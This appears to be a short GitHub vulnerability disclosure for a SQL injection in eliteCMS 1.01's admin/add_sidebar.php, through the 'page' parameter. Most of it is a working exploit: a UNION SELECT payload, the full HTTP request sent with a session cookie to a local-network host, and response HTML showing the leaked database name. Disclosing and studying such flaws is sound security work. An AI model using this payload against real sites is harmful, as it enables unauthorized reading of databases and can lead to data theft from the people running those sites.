debug601 Create SQLi-5.md History

1 contributor

27 lines (19 sloc) | 1.05 KB

Elitecms v1.01 by elitecms has SQL injection

vendors: https://elitecms.net/download.php

Vulnerability File: /admin/add_sidebar.php

Vulnerability location: ip/eliteCMS1.01/admin/add_sidebar.php?page=, page

dbname: elitecms101

[+] Payload: /eliteCMS1.01/admin/add_sidebar.php?page=-1%20union%20select%201,2,3,4,database(),6,7,8,9,10,11--+&sidebar=3 // Leak place ---> page

```
GET /eliteCMS1.01/admin/add_sidebar.php?page=-1%20union%20select%201,2,3,4,database(
Host: 192.168.1.108
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=307ef75a2f3ab4c1103d8a1e90cf120e
Connection: close
```

```
GET
/eliteCMS1.01/admin/add_sidebar.php?page=-1%20union%20select%201,2,3,4,database(),6,7,8,9,10,11--+&sidebar=3 HTTP/1.1
Host: 192.168.1.108
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=307ef75a2f3ab4c1103d8a1e90cf120e
Connection: close
```

```
<div id="aPositions1">Posts under this sidebar.<ul><li>Post Position : 1<a href="delete_sbPost.php?sidebar=1" class="imgLink"><img src="images/sidebar_delete.png" width="16" height="16" border="0" onClick="return confirm('Are you sure you wann delete this sidebar post. This action can not be undone!.');"/></a>
                    <a href="edit_sidebar.php?page=1&sidebar=1" class="edLink">First sidebar post</a></li>
<li>Post Position : 2<a href="delete_sbPost.php?sidebar=2" class="imgLink"><img src="images/sidebar_delete.png" width="16" height="16" border="0" onClick="return confirm('Are you sure you wann delete this sidebar post. This action can not be undone!.');"/></a>
                    <a href="edit_sidebar.php?page=1&sidebar=2" class="edLink">Some links</a></li>
</ul></div><div class="clearFloats"></div>
<form action="/eliteCMS1.01/admin/add_sidebar.php" method="post">
<table width="100%" align="center" cellpadding="0" cellspacing="0" id="post_form">
<tr bgcolor="#EEF7FD">
<td width="27%" class="padd">Parent Page :</td>
<td width="73%" class="padd">
<select name="page_id" class="select1">
<option value="1">elitecms101</option>
</select>
</td>
</tr>
<tr>
<td valign="bottom" class="padd">Post Position :</td>
<td valign="bottom" class="padd">

<input type="text" name="position" id="position" class="inputSmall" value=""/>
</td>
</tr>
```